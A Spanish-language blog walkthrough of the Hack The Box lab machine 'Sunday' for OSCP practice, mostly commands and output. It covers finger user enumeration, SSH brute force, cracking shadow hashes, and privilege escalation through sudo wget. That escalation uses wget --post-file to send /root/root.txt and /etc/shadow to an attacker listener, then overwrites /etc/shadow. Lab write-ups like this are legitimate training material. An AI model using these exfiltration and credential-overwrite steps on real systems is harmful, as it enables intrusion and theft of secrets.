Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

OSCP Path ~ Sunday de Hack The Box (Necesario VIP)

Sunday ~ Hack The Box to OSCP

Realizamos el escaneo con Nmap de puertos y servicios abiertos

PORT      STATE  SERVICE VERSION
79/tcp    open   finger  Sun Solaris fingerd
| finger: Login       Name               TTY         Idle    When    Where\x0D
| sunny    sunny                 pts/2            Sat 17:20  10.10.16.210        \x0D
|_sammy    sammy                 pts/3            Sat 18:03  10.10.16.210        \x0D
111/tcp   open   rpcbind
22022/tcp open   ssh     SunSSH 1.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
46385/tcp closed unknown
63929/tcp closed unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

Vemos que tenemos el servicio finger que sirve para enumerar usuarios cuando se conectan

# finger-user-enum.pl -U /opt/SecLists/Usernames/Names/names.txt -t 10.10.10.76                                                                                                                              1 ⚙
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Worker Processes ......... 5
Usernames file ........... /opt/SecLists/Usernames/Names/names.txt
Target count ............. 1
Username count ........... 10177
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used

######## Scan started at Thu Jul 29 11:20:02 2021 #########
access@10.10.10.76: access No Access User                     < .  .  .  . >..nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >..
admin@10.10.10.76: Login       Name               TTY         Idle    When    Where..adm      Admin                              < .  .  .  . >..lp       Line Printer Admin                 < .  .  .  . >..uucp     uucp Admin                         < .  .  .  . >..nuucp    uucp Admin                         < .  .  .  . >..dladm    Datalink Admin                     < .  .  .  . >..listen   Network Admin                      < .  .  .  . >..
anne marie@10.10.10.76: Login       Name               TTY         Idle    When    Where..anne                  ???..marie                 ???..
bin@10.10.10.76: bin             ???                         < .  .  .  . >..
dee dee@10.10.10.76: Login       Name               TTY         Idle    When    Where..dee                   ???..dee                   ???..
jo ann@10.10.10.76: Login       Name               TTY         Idle    When    Where..jo                    ???..ann                   ???..
la verne@10.10.10.76: Login       Name               TTY         Idle    When    Where..la                    ???..verne                 ???..
line@10.10.10.76: Login       Name               TTY         Idle    When    Where..lp       Line Printer Admin                 < .  .  .  . >..
message@10.10.10.76: Login       Name               TTY         Idle    When    Where..smmsp    SendMail Message Sub               < .  .  .  . >..
miof mela@10.10.10.76: Login       Name               TTY         Idle    When    Where..miof                  ???..mela                  ???..
root@10.10.10.76: root     Super-User            pts/3        <Apr 24, 2018> sunday              ..
sammy@10.10.10.76: sammy                 console      <Jul 31, 2020>..
sunny@10.10.10.76: sunny                 pts/3        <Apr 24, 2018> 10.10.14.4          ..
sys@10.10.10.76: sys             ???                         < .  .  .  . >..
zsa zsa@10.10.10.76: Login       Name               TTY         Idle    When    Where..zsa                   ???..zsa                   ???..
######## Scan completed at Thu Jul 29 11:57:39 2021 #########
15 results.

10177 queries in 2257 seconds (4.5 queries / sec)

Se ve mucho ruido con esta herramienta, pues por eso es importante fijarnos solo en los usuarios que tenga fecha y hora.

user: sunny, sunday

Teniendo estos usuarios procedemos a probar fuerza bruta por el puerto SSH con la herramienta patator

 # patator ssh_login host=10.10.10.76 port=22022 user=FILE0 0=users.txt password=FILE1 1=passwd_ssh_brute -x ignore:fgrep='failed'
12:53:58 patator    INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.9.2 at 2021-07-29 12:53 CEST
12:53:58 patator    INFO -                                                                              
12:53:58 patator    INFO - code  size    time | candidate                          |   num | mesg
12:53:58 patator    INFO - -----------------------------------------------------------------------------
12:54:13 patator    INFO - 0     19     5.936 | sunny:sunday                       |    11 | SSH-2.0-Sun_SSH_1.3
12:54:14 patator    INFO - Hits/Done/Skip/Fail/Size: 1/18/0/0/18, Avg: 1 r/s, Time: 0h 0m 15s

SSH Error Algorithms - Solution

Procedemos a intentar conectarnos por ssh con las credenciales obtenidas:

# ssh sunny@10.10.10.76 -p 22022                                                                                                 
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

Se nos lanza un error por un algoritmo de codificacion llamado diffie-helman.. pero lo solucionamos de la siguiente forma:

 ssh sunny@10.10.10.76 -p 22022 -oKexALgorithms=+diffie-hellman-group1-sha1

Con el parametro -oKexALgorithms= procedemos a especificarle el algoritmo que nos da problemas +diffie-hellman-group1-sha1

# ssh sunny@10.10.10.76 -p 22022 -oKexALgorithms=+diffie-hellman-group1-sha1
Password: 
Last login: Thu Jul 29 16:24:15 2021 from 10.10.16.212
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sunny@sunday:~$ 

Conseguimos conectarnos correctamente. Procedemos a enumerar un poco el sistema.

Escalada de Privilegios a Sammy

Procdemos con los comandos tipicos para enumera el sistema: sudo -l

sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
    (root) NOPASSWD: /root/troll

id

sunny@sunday:~$ id
uid=65535(sunny) gid=1(other) groups=1(other)

uname -a

sunny@sunday:~$ uname -a
SunOS sunday 5.11 snv_111b i86pc i386 i86pc Solaris

Procedemos a movernos a la raiz / para enumerar directorios

cd /backup
cat shadow.backup

Sacamos los Hashes de un archivo shadow.backup de los siguientes usuarios

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Procedo a intentar Crackearlos con el uso de John

# john --wordlist=/usr/share/wordlists/rockyou.txt hashes      
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha256crypt, crypt(3) $5$ [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
"sunday "          (sunny)
"cooldude!"        (sammy)
2g 0:00:00:10 DONE (2021-07-29 13:29) 0.1978g/s 20257p/s 20662c/s 20662C/s infinitig35..bluemoon2
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Probamos a usar el comando su para con la contraseña del usuario sammy conectarnos pero no nos funciona Porque no probamos por ssh

# ssh sammy@10.10.10.76 -p 22022 -oKexALgorithms=+diffie-hellman-group1-sha1                                                                                                                                  1 ⨯
Password: 
Password: 
Last login: Thu Jul 29 17:26:31 2021 from 10.10.16.218
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sammy@sunday:~$ ls
Desktop  Documents  Downloads  Public

Conseguimos entrar correctamente por ssh

sammy@sunday:~$ cd Desktop/
sammy@sunday:~/Desktop$ ls
user.txt
sammy@sunday:~/Desktop$ cat user.txt 
a3d9498027ca5187ba1793xxxxxxxxxxxx

Sacamos la flag de user.txt

#Escalada de Privilegios a Root Procedemos a enumerar al user sammy

sammy@sunday:~/Desktop$ sudo -l
User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget

Vale pues procedemos de la siguiente forma

sammy@sunday:~/Desktop$ sudo wget --post-file /root/root.txt http://10.10.16.218/80
--18:05:40--  http://10.10.16.218/80
           => `80'
Connecting to 10.10.16.218:80... conectado.
Petición HTTP enviada, esperando respuesta... 

Y nos ponemos en escucha con una session de nc

# nc -vlnp 80                                                                                                                                                                                                 1 ⨯
listening on [any] 80 ...
connect to [10.10.16.218] from (UNKNOWN) [10.10.10.76] 59492
POST /80 HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.16.218
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

fb40fab61d99d37536daeec0xxxxxxxxx

Ahi pillamos la flag de /root/root.txt

Consiguiendo la shell de root atraves del archivo /etc/shadow Nos tramitamos el archivo antes mencionado

sammy@sunday:~$ sudo wget --post-file /etc/shadow http://10.10.16.218/80                              
--15:26:04--  http://10.10.16.218/80
           => `80'
Connecting to 10.10.16.218:80... conectado.
Petición HTTP enviada, esperando respuesta... ^C

Nos ponemos en la escucha con :

# nc -vlnp 80 > shadow    
listening on [any] 80 ...
connect to [10.10.16.218] from (UNKNOWN) [10.10.10.76] 49713

Modificamos el archivo /etc/shadow desde nuestro Kali para meterle una password nueva al usuario root y ya poder conectarnos a el En mi caso e procedido copiando la contraseña del usuario sammy para a hacer su rooty meter la pass de sammy conseguir ganar acceso a root Una vez modificado el archivo shadow, nos montamos un server en python3 para tramitar el archivo. Y ya procedemos a hacer uso de wget para copiarnos el shadow modificado

sammy@sunday:~$ sudo wget http://10.10.16.218/shadow -O /etc/shadow
--15:35:30--  http://10.10.16.218/shadow
           => `/etc/shadow'
Connecting to 10.10.16.218:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 657 [application/octet-stream]

100%[===========================================================>] 657           --.--K/s             

15:35:31 (16.60 KB/s) - `/etc/shadow' saved [657/657]

Ahora procedemos a hacer un su root

sammy@sunday:~$ su root
Password: 
sammy@sunday:~# id
uid=0(root) gid=0(root)

Maquina Rooteada =)